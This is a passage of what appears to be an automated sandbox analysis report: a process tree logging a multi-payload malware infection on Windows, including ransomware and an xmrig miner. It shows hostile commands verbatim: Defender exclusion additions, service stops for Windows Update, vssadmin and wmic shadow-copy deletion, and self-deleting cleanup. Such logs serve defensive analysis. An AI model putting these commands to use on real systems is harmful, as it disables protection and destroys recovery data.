"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
5⤵
- System Location Discovery: System Language Discovery
PID:5216

C:\Windows\SysWOW64\sc.exe
sc stop UsoSvc
6⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:3696

C:\Windows\SysWOW64\sc.exe
sc stop WaaSMedicSvc
6⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2024

C:\Windows\SysWOW64\sc.exe
sc stop wuauserv
6⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:5180

C:\Windows\SysWOW64\sc.exe
sc stop DoSvc
6⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2808

C:\Windows\SysWOW64\sc.exe
sc stop BITS
6⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:4284

C:\Users\Admin\AppData\Local\Temp\Files\tpeinf.exe
"C:\Users\Admin\AppData\Local\Temp\Files\tpeinf.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:7440

C:\Users\Admin\AppData\Local\Temp\2626614025.exe
C:\Users\Admin\AppData\Local\Temp\2626614025.exe
4⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:7484

C:\Windows\syschvard.exe
C:\Windows\syschvard.exe
5⤵
- Modifies security service
- Windows security bypass
- Executes dropped EXE
- Windows security modification
- System Location Discovery: System Language Discovery
- Suspicious behavior: SetClipboardViewer
PID:5976

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
6⤵
- System Location Discovery: System Language Discovery
PID:3864

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE"
7⤵
- System Location Discovery: System Language Discovery
PID:3276

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS
6⤵
- System Location Discovery: System Language Discovery
PID:3692

C:\Windows\SysWOW64\sc.exe
sc stop UsoSvc
7⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:5688

C:\Windows\SysWOW64\sc.exe
sc stop WaaSMedicSvc
7⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:5392

C:\Windows\SysWOW64\sc.exe
sc stop wuauserv
7⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:5208

C:\Windows\SysWOW64\sc.exe
sc stop DoSvc
7⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:3412

C:\Windows\SysWOW64\sc.exe
sc stop BITS
7⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:6124

C:\Users\Admin\AppData\Local\Temp\Files\pp.exe
"C:\Users\Admin\AppData\Local\Temp\Files\pp.exe"
3⤵
- Executes dropped EXE
PID:3680

C:\Users\Admin\AppData\Local\Temp\Files\t1.exe
"C:\Users\Admin\AppData\Local\Temp\Files\t1.exe"
3⤵
- Executes dropped EXE
PID:3584

C:\Users\Admin\AppData\Local\Temp\Files\peinf.exe
"C:\Users\Admin\AppData\Local\Temp\Files\peinf.exe"
3⤵
- Executes dropped EXE
PID:5524

C:\Users\Admin\AppData\Local\Temp\Files\m.exe
"C:\Users\Admin\AppData\Local\Temp\Files\m.exe"
3⤵
- Executes dropped EXE
PID:7540

C:\Users\Admin\AppData\Local\Temp\Files\3546345.exe
"C:\Users\Admin\AppData\Local\Temp\Files\3546345.exe"
3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:6748

C:\Users\Admin\AppData\Local\Temp\Files\pei.exe
"C:\Users\Admin\AppData\Local\Temp\Files\pei.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:8172

C:\Users\Admin\AppData\Local\Temp\286758977.exe
C:\Users\Admin\AppData\Local\Temp\286758977.exe
4⤵
- Executes dropped EXE
PID:4064

C:\Users\Admin\AppData\Local\Temp\Files\xmrig.exe
"C:\Users\Admin\AppData\Local\Temp\Files\xmrig.exe"
3⤵
- Executes dropped EXE
PID:5488

C:\Users\Admin\AppData\Local\Temp\Files\66b5d9d3adbaa_defaultr.exe
"C:\Users\Admin\AppData\Local\Temp\Files\66b5d9d3adbaa_defaultr.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
PID:5608

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
4⤵
PID:4600

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
4⤵
- System Location Discovery: System Language Discovery
- Checks processor information in registry
PID:5596

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" & rd /s /q "C:\ProgramData\HIIIEGDBKJKE" & exit
5⤵
- System Location Discovery: System Language Discovery
PID:7044

C:\Windows\SysWOW64\timeout.exe
timeout /t 10
6⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
PID:7200

C:\Users\Admin\AppData\Local\Temp\a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe
"C:\Users\Admin\AppData\Local\Temp\a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe"
2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2764

C:\Users\Admin\AppData\Local\Temp\asena.exe
"C:\Users\Admin\AppData\Local\Temp\asena.exe"
2⤵
- Drops startup file
- Executes dropped EXE
- Enumerates connected drives
- Writes to the Master Boot Record (MBR)
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2664

C:\Windows\System32\Wbem\wmic.exe
wmic.exe shadowcopy delete
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2552

C:\Windows\system32\vssadmin.exe
vssadmin delete shadows /all /quiet
3⤵
- Interacts with shadow copies
PID:3004

C:\Windows\SysWOW64\notepad.exe
C:\Users\Public\Documents\RGNR_DF83F6B4.txt
3⤵
- System Location Discovery: System Language Discovery
- Opens file in notepad (likely ransom note)
PID:5972

C:\Users\Admin\AppData\Local\Temp\Bomb.exe
"C:\Users\Admin\AppData\Local\Temp\Bomb.exe"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2784

C:\Users\Admin\AppData\Local\Temp\25.exe
"C:\Users\Admin\AppData\Local\Temp\25.exe"
3⤵
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1724

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\25.exe'
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:4632

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '25.exe'
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:5952

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:6584

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
PID:3480

C:\Users\Admin\AppData\Local\Temp\24.exe
"C:\Users\Admin\AppData\Local\Temp\24.exe"
3⤵
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1692

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\24.exe'
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:4252

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '24.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5632

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:6480

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:6700

C:\Users\Admin\AppData\Local\Temp\23.exe
"C:\Users\Admin\AppData\Local\Temp\23.exe"
3⤵
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2116

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\23.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5068

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '23.exe'
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:3400

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5296

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:3052

C:\Users\Admin\AppData\Local\Temp\22.exe
"C:\Users\Admin\AppData\Local\Temp\22.exe"
3⤵
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2440

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\22.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4280

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '22.exe'
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:5980

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:288

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:8104

C:\Users\Admin\AppData\Local\Temp\21.exe
"C:\Users\Admin\AppData\Local\Temp\21.exe"
3⤵
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2200

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\21.exe'
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:4428

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '21.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5316

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:6780

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
PID:7552

C:\Users\Admin\AppData\Local\Temp\20.exe
"C:\Users\Admin\AppData\Local\Temp\20.exe"
3⤵
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1572

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\20.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3592

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '20.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3436

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
PID:6452

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
PID:5412

C:\Users\Admin\AppData\Local\Temp\19.exe
"C:\Users\Admin\AppData\Local\Temp\19.exe"
3⤵
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2932

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\19.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4472

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '19.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:5868

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:6720

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
PID:7736

C:\Users\Admin\AppData\Local\Temp\18.exe
"C:\Users\Admin\AppData\Local\Temp\18.exe"
3⤵
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2792

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\18.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4364

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '18.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2512

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3596

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:7272

C:\Users\Admin\AppData\Local\Temp\17.exe
"C:\Users\Admin\AppData\Local\Temp\17.exe"
3⤵
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2560

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\17.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4600

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '17.exe'
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:5384

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:6640

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:5596

C:\Users\Admin\AppData\Local\Temp\16.exe
"C:\Users\Admin\AppData\Local\Temp\16.exe"
3⤵
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2568

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\16.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4536

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '16.exe'
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:4608

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
PID:6828

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:5196

C:\Users\Admin\AppData\Local\Temp\15.exe
"C:\Users\Admin\AppData\Local\Temp\15.exe"
3⤵
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:968

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\15.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3404

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '15.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4892

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:5280

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
PID:5788

C:\Users\Admin\AppData\Local\Temp\14.exe
"C:\Users\Admin\AppData\Local\Temp\14.exe"
3⤵
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2556

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\14.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2052

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '14.exe'
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:4372

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:5916

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
PID:5440

C:\Users\Admin\AppData\Local\Temp\13.exe
"C:\Users\Admin\AppData\Local\Temp\13.exe"
3⤵
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1360

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\13.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4332

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '13.exe'
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:5372

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:7560

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:7296

C:\Users\Admin\AppData\Local\Temp\12.exe
"C:\Users\Admin\AppData\Local\Temp\12.exe"
3⤵
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:892

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\12.exe'
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:4668

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '12.exe'
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:4164

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
PID:6724

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:5860

C:\Users\Admin\AppData\Local\Temp\11.exe
"C:\Users\Admin\AppData\Local\Temp\11.exe"
3⤵
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1244

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\11.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4576

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '11.exe'
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:6044

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
PID:7512

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:4248

C:\Users\Admin\AppData\Local\Temp\10.exe
"C:\Users\Admin\AppData\Local\Temp\10.exe"
3⤵
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2280

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\10.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4344

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '10.exe'
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:4432

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
4⤵
- Command and Scripting Interpreter: PowerShell
PID:6500

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
4⤵
PID:6824

C:\Users\Admin\AppData\Local\Temp\9.exe
"C:\Users\Admin\AppData\Local\Temp\9.exe"
3⤵
- Drops startup file
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3068

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\9.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4584

